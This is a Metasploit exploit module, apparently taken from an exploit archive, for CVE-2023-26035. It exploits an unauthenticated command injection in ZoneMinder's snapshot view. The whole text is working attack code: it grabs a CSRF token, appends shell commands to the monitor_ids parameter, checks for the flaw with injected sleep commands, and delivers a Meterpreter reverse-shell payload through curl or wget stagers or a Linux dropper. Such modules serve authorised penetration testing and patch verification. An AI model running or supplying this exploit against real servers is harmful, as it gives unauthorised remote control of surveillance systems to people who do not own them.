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## https://sploitus.com/exploit?id=1337DAY-ID-39149
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ZoneMinder Snapshots Command Injection',
'Description' => %q{
This module exploits an unauthenticated command injection
in zoneminder that can be exploited by appending a command
to the "create monitor ids[]"-action of the snapshot view.
Affected versions: < 1.36.33, < 1.37.33
},
'License' => MSF_LICENSE,
'Author' => [
'UnblvR', # Discovery
'whotwagner' # Metasploit Module
],
'References' => [
[ 'CVE', '2023-26035' ],
[ 'URL', 'https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr']
],
'Privileged' => false,
'Platform' => ['linux', 'unix'],
'Targets' => [
[
'nix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
'FETCH_WRITABLE_DIR' => '/tmp'
}
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
'Type' => :linux_dropper
}
],
],
'CmdStagerFlavor' => [ 'bourne', 'curl', 'wget', 'printf', 'echo' ],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-02-24',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The ZoneMinder path', '/zm/'])
])
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
)
return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200
unless res.body.include?('ZoneMinder')
return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server')
end
csrf_magic = get_csrf_magic(res)
# This check executes a sleep-command and checks the response-time
sleep_time = rand(5..10)
data = "view=snapshot&action=create&monitor_ids[0][Id]=0;sleep #{sleep_time}"
data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
res, elapsed_time = Rex::Stopwatch.elapsed_time do
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'data' => data.to_s,
'keep_cookies' => true
)
end
return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res
print_status("Elapsed time: #{elapsed_time} seconds.")
if sleep_time < elapsed_time
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe('Target is not vulnerable')
end
def execute_command(cmd, _opts = {})
command = Rex::Text.uri_encode(cmd)
print_status('Sending payload')
data = "view=snapshot&action=create&monitor_ids[0][Id]=;#{command}"
data += "&__csrf_magic=#{@csrf_magic}" if @csrf_magic
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'data' => data.to_s
)
print_good('Payload sent')
end
def exploit
# get magic csrf-token
print_status('Fetching CSRF Token')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
)
if res && res.code == 200
# parse token
@csrf_magic = get_csrf_magic(res)
unless @csrf_magic =~ /^key:[a-f0-9]{40},\d+/
fail_with(Failure::UnexpectedReply, 'Unable to parse token.')
end
else
fail_with(Failure::UnexpectedReply, 'Unable to fetch token.')
end
print_good("Got Token: #{@csrf_magic}")
# send payload
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
private
def get_csrf_magic(res)
return if res.nil?
res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text
end
end